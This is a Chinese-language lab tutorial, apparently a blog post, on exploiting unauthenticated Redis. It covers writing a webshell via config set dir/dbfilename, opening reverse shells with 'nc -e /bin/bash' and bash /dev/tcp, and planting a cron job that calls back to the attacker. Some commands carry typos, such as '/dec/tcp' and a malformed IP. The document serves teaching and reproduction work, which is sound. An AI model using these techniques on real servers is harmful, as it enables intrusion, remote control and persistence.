漏洞场景:
Redis 4.x/5.x 未授权访问漏洞:
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过 EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器。
还能被利用去挖矿。
Redias:
Redis的常见数据类型:
①: String:字符和整型。 缓存、分布式session、分布式锁、全局ID、计数器、限流
②:Hash:哈希表。 存储一个对象、存储一张表的数据、购物车
③:List:有序数组。消息列表、文章列表、评论列表、公告列表、活动列表
④:Set:无序集合。抽奖、点赞、签到打卡、商品标签
⑤:ZSet:有序集合。 排行榜
Redis受众广的原因:
1、数据类型丰富,应用场景广泛
2、纯内存的数据结构,速度快
3、功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)
漏洞复现
①. 前期环境准备:
两台linux主机(我用的CentOS7),安装上redis,一台安装用作服务端,一台用作客户端。
最好把防火墙关闭,来复现。
stemctl stop firewalld
下述方法是在直接关闭防火墙不能访问端口7777的情况,一般直接关闭防火墙就可以了
systemctl status firewalld ###查看防火墙的状态
systemctl start firewalld ###启动防火墙
firewall-cmd --zone=public --add-port=7777/tcp --permanent ###在防火墙中添加7777端口,允许访问
firewall-cmd --reload ###重启
systemctl stop firewalld ###关闭防火墙
②. 前期redirs的知识:
一:持久化机制:redis的数据是存内存,所以访问数据快,但是存储在内存中不可靠,一旦断电数据就丢失了,要避免丢失数据采用持久化机制,不定期的将内存中的数据保存在磁盘中。
持久化机制: RDB(Redis DataBases)、AOF(Append Only File)
在redis安装目录下,redis.conf 文件中,找到SNAPSHOTTING 配置,他就是持久化的配置。
配置说明,
1:自动刷盘机制,key在900秒内改变1次就执行一次 保存磁盘。 key 在300秒内改变10次就保存在磁盘一次。这些规则不冲突,满足就执行。
保存在那个文件中呢? 答:在配置文件中找到dbfilename,默认的是dump.rdb,要想修改,就在配置文件中找到 **dir ./** 换上你要存储文件的完整的路径名。

保存文件2: 手动刷盘:save 或者 bgsave
示范:
先把dump.rdb清空:
在客户端中将手动刷盘,
再去dump.rdb中查看。可以看到保存上了。
二:动态修改配置
上面提到的,持久化的配置应该要到配置文件中去修改。还能动态修改。 config set (它是不是永久修改,重启以后失效)
config set dir /www/admin/localhost //修改保存的路径名
config set dbfilename redis.php // 修改保存的文件
想一想,利用持久化和动态修改配置是不是就可以任意写入数据到文件中,【连接到redis,写入数据(可以是恶意代码哦),再把保存的文件改变,手动save一下,那就任意写入内容到文件中。】
**③ : 利用redis漏洞,进行webshell提权
(现在站在上帝视角去看)**
在Redis服务器中安装了apache,利用它。
在搭建的时候先查看本机有没有装Apache服务命令 :rpm -qa |grep httpd ,查看系统中已安装的所有apache软件包列表。
有了网站的根目录在:/var/www/html
在客户端连接上redis:
上传了一句话木马,访问一下。(编码格式有问题,不影响)用蚁剑等webshell工具连一下,这就相当于直接连接上服务器了(服务器的防护都关闭了的)
④ 反弹连接(一句话木马容易被删除)
为什么要反弹连接:
- 内网,私有ip(我们的公网IP无法连接)。
- IP地址不固定。
- 6379端口不允许入方向的。
- 一句话木马被杀毒软件删除。
我们攻击机连接不上,没办法连接到靶机, 换个思路,让靶机来向我们的攻击机连接。
如何操作呢?
1.需要一个端口,让靶机来连接。
2.需要监听这个端口,确认它来连接了。如何监听端口呢?? 常用的监听方式:
- netcat(网络攻击界的瑞士军刀):nc -lvp 7777** (-nlvp lvvp) 参数含义监听7777端口并给出详细信息
- msf【kali中自带】
- socat 【kali中】 : socat TCP-LISTEN:7777 -
建立反弹连接: 先监听:nc -lvp 7777 下图是监听到后的了。(攻击机中监听)
方法一:bash反弹(靶机中操作)【后面的方法其实也是基于bash的】输入上面的命令,监听端口会收到的。
这样反弹连接建立了,我们就可以在攻击机中操作靶机的。比如ifconfig,查看的是靶机的网络信息
方法二: python(靶机要有这个环境) 还是监听(攻击机上操作)
反弹连接:
出现图中黑色选定的就反弹连接建立成功了,还是用ifcnfig来测试,是否可以查看靶机IP
方式三: netcat的方式
nc -e /bin/bash 192.168.142.96.222 (在靶机中输入)
效果一样的不截图了方法四:各种语言的代码来建立反弹连接
用法自查方法五:MSF 这个在kali中可以很简单的就使用哦,配合msf监听模块使用
在这个工具MSF中可以生成各种类型语言的payload,
分析bash命令:
反弹连接是如何成立的
- bash -i 打开交互式的终端
& 将标准错误输出合并到标准输出中
- /dec/tcp/192.168.96.222/7777 打开一个设备文件,连接IP端口
- 0>$1 将标准输入重定向到标准输出中 ,这个关键哦,将我们输入的输出到远程主机中。命令执行。
④ Redis写入反弹连接任务
定时任务:定时重启主机,执行任务存储数据等等
定时任务用的表达式 :Cron表达式是一个字符串,该字符串由6个空格分为7个域,每一个域代表一个时间含义。不用记,要用时去查就好了设置一个定时任务 每过一分钟向 /test.txt 输入hello :
步骤 :
- crontab -e ## 进入定时任务的编辑模式
- */1 * * * * echo “hello”>>/test.txt ## 输入到编辑页面中
- crontab -u root -l ## 看root的任务列表,加入了我们输入的任务
- tail -f /test.txt ## 看现象
定时任务常用命令:
Ⅰ: crontab -u root -r 删除某个用户的任务
Ⅱ:crontab -u root time.cron 把文件添加到某个用户的任务
Ⅲ:crontab -u root -l 列举某个用户的任务
Ⅳ:crontab -u root -e 编辑某个用户的任务
上述是一些基础的定时任务的东西,
要知道Linux一切皆文件,定时任务也是这样的。
/etc/crontab 放的对应周期的任务 hourly(每小时允许的) 、weekly(每周运行的)等
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
现在了解到定时任务了。就可以结合redis建立反弹连接。
步骤:
先在攻击机上监听:再在攻击机上连接redis服务器,进行渗透。命令上图前的命令,
刷盘后只需要等待监听的结果就行,等待一分钟就能监听到。